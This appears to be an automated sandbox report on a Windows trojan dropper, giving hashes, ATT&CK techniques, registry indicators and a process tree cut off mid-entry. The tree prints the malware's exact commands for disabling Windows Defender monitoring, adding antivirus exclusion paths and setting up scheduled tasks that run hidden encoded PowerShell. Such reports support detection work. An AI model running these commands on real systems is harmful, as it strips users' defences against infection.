d962ffa77016a3a323fee18999c810466bc35c77abeca8330fd0808ed0ef3aad

Analysis

max time kernel
147s
max time network
155s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
01/10/2022, 22:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

c941803cb97f69fb912ef1ee3a9f24a1
SHA1

99cd1bd086394343015ca43ef77316018e68b13e
SHA256

d962ffa77016a3a323fee18999c810466bc35c77abeca8330fd0808ed0ef3aad
SHA512

77cf530dc3cd4d07c5bd8b532ed61652190ef0ad3d0808d2a967e94ed80e23bd1c985820275693c04b1c9356b42847e452d1cfdaa3e1cc1bca4ac4ffefc938d2
SSDEEP

196608:91OeW0yulHfWlcXBs/m3azFsimB9BI17m1WvLQbt:3OX5G/VB3azKhBIHv6t

Score

10^/10

evasion trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\fwhiGQHhSfnZUzkc = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\nVCmSimpmwUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\nVCmSimpmwUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\CEEEIGvNcEpIBnVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jIUrjTqJU = "0"	Process not Found
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VnSvEXTIbraTatzTOsR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCMDmHxGrLJHC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\CEEEIGvNcEpIBnVB = "0"	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\fwhiGQHhSfnZUzkc = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\fwhiGQHhSfnZUzkc = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCMDmHxGrLJHC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VnSvEXTIbraTatzTOsR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jIUrjTqJU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\twylNxKJekDU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\twylNxKJekDU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\fwhiGQHhSfnZUzkc = "0"	conhost.exe

Executes dropped EXE 3 IoCs

pid	Process
1216	Install.exe
904	Install.exe
1832	lIZuFpc.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
1552	file.exe
1216	Install.exe
1216	Install.exe
1216	Install.exe
1216	Install.exe
904	Install.exe
904	Install.exe
904	Install.exe

Drops file in System32 directory 8 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	lIZuFpc.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	lIZuFpc.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	lIZuFpc.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bGZpGlqvDNKjraWjlZ.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2008	schtasks.exe
840	schtasks.exe
688	schtasks.exe
1616	schtasks.exe
2020	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host	wscript.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1848	powershell.EXE
1848	powershell.EXE
1848	powershell.EXE
1952	powershell.EXE
1952	powershell.EXE
1952	powershell.EXE
984	powershell.EXE
984	powershell.EXE
984	powershell.EXE
1728	powershell.EXE
1728	powershell.EXE
1728	powershell.EXE

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1848	powershell.EXE
Token: SeDebugPrivilege	1952	powershell.EXE
Token: SeDebugPrivilege	984	powershell.EXE
Token: SeDebugPrivilege	1728	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1552 wrote to memory of 1216	1552	file.exe	26
PID 1552 wrote to memory of 1216	1552	file.exe	26
PID 1552 wrote to memory of 1216	1552	file.exe	26
PID 1552 wrote to memory of 1216	1552	file.exe	26
PID 1552 wrote to memory of 1216	1552	file.exe	26
PID 1552 wrote to memory of 1216	1552	file.exe	26
PID 1552 wrote to memory of 1216	1552	file.exe	26
PID 1216 wrote to memory of 904	1216	Install.exe	27
PID 1216 wrote to memory of 904	1216	Install.exe	27
PID 1216 wrote to memory of 904	1216	Install.exe	27
PID 1216 wrote to memory of 904	1216	Install.exe	27
PID 1216 wrote to memory of 904	1216	Install.exe	27
PID 1216 wrote to memory of 904	1216	Install.exe	27
PID 1216 wrote to memory of 904	1216	Install.exe	27
PID 904 wrote to memory of 1368	904	Install.exe	29
PID 904 wrote to memory of 1368	904	Install.exe	29
PID 904 wrote to memory of 1368	904	Install.exe	29
PID 904 wrote to memory of 1368	904	Install.exe	29
PID 904 wrote to memory of 1368	904	Install.exe	29
PID 904 wrote to memory of 1368	904	Install.exe	29
PID 904 wrote to memory of 1368	904	Install.exe	29
PID 904 wrote to memory of 1952	904	Install.exe	31
PID 904 wrote to memory of 1952	904	Install.exe	31
PID 904 wrote to memory of 1952	904	Install.exe	31
PID 904 wrote to memory of 1952	904	Install.exe	31
PID 904 wrote to memory of 1952	904	Install.exe	31
PID 904 wrote to memory of 1952	904	Install.exe	31
PID 904 wrote to memory of 1952	904	Install.exe	31
PID 1952 wrote to memory of 1708	1952	forfiles.exe	33
PID 1952 wrote to memory of 1708	1952	forfiles.exe	33
PID 1952 wrote to memory of 1708	1952	forfiles.exe	33
PID 1952 wrote to memory of 1708	1952	forfiles.exe	33
PID 1952 wrote to memory of 1708	1952	forfiles.exe	33
PID 1952 wrote to memory of 1708	1952	forfiles.exe	33
PID 1952 wrote to memory of 1708	1952	forfiles.exe	33
PID 1368 wrote to memory of 240	1368	forfiles.exe	34
PID 1368 wrote to memory of 240	1368	forfiles.exe	34
PID 1368 wrote to memory of 240	1368	forfiles.exe	34
PID 1368 wrote to memory of 240	1368	forfiles.exe	34
PID 1368 wrote to memory of 240	1368	forfiles.exe	34
PID 1368 wrote to memory of 240	1368	forfiles.exe	34
PID 1368 wrote to memory of 240	1368	forfiles.exe	34
PID 1708 wrote to memory of 688	1708	cmd.exe	35
PID 1708 wrote to memory of 688	1708	cmd.exe	35
PID 1708 wrote to memory of 688	1708	cmd.exe	35
PID 1708 wrote to memory of 688	1708	cmd.exe	35
PID 1708 wrote to memory of 688	1708	cmd.exe	35
PID 1708 wrote to memory of 688	1708	cmd.exe	35
PID 1708 wrote to memory of 688	1708	cmd.exe	35
PID 240 wrote to memory of 1680	240	cmd.exe	36
PID 240 wrote to memory of 1680	240	cmd.exe	36
PID 240 wrote to memory of 1680	240	cmd.exe	36
PID 240 wrote to memory of 1680	240	cmd.exe	36
PID 240 wrote to memory of 1680	240	cmd.exe	36
PID 240 wrote to memory of 1680	240	cmd.exe	36
PID 240 wrote to memory of 1680	240	cmd.exe	36
PID 1708 wrote to memory of 1836	1708	cmd.exe	37
PID 1708 wrote to memory of 1836	1708	cmd.exe	37
PID 1708 wrote to memory of 1836	1708	cmd.exe	37
PID 1708 wrote to memory of 1836	1708	cmd.exe	37
PID 1708 wrote to memory of 1836	1708	cmd.exe	37
PID 1708 wrote to memory of 1836	1708	cmd.exe	37
PID 240 wrote to memory of 980	240	cmd.exe	38
PID 1708 wrote to memory of 1836	1708	cmd.exe	37

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1552
- C:\Users\Admin\AppData\Local\Temp\7zS2E90.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1216
- - C:\Users\Admin\AppData\Local\Temp\7zS35D1.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:904
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1368
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:240
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1680
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:980
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1952
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1708
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:688
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1836
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gEScxGMfF" /SC once /ST 15:16:16 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:2008
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gEScxGMfF"
      4⤵
      PID:1976
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gEScxGMfF"
      4⤵
      PID:1724
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bGZpGlqvDNKjraWjlZ" /SC once /ST 22:04:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\lIZuFpc.exe\" d8 /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:840

C:\Windows\system32\taskeng.exe
taskeng.exe {21C18D81-61DA-4586-956D-579D12A2EAF5} S-1-5-21-4063495947-34355257-727531523-1000:RYNKSFQE\Admin:Interactive:[1]
1⤵
PID:968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1848
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1952
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:984
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1728
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2016

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:548

C:\Windows\system32\taskeng.exe
taskeng.exe {DD12EC0B-9E3A-450D-ACCF-5CC4A9EE99CB} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1176
- C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\lIZuFpc.exe
  C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\lIZuFpc.exe d8 /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:1832
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gDxHNHjZH" /SC once /ST 21:47:40 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:688
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gDxHNHjZH"
    3⤵
    PID:892
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gDxHNHjZH"
    3⤵
    PID:2020
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1592
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1808
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:948
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2000
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gfrpAIVDC" /SC once /ST 17:13:02 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1616
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gfrpAIVDC"
    3⤵
    PID:900
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gfrpAIVDC"
    3⤵
    PID:1836
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:888
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:708
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1276
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1308
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1780
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1020
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1296
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:344
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\fwhiGQHhSfnZUzkc\VoAyMilu\QskwKAXDTxXhboFR.wsf"
    3⤵
    PID:1124
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\fwhiGQHhSfnZUzkc\VoAyMilu\QskwKAXDTxXhboFR.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:1036
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCMDmHxGrLJHC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1260
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCMDmHxGrLJHC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1584
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VnSvEXTIbraTatzTOsR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1616
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VnSvEXTIbraTatzTOsR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:632
  - - C:\Windows\SysWOW64\reg.exe
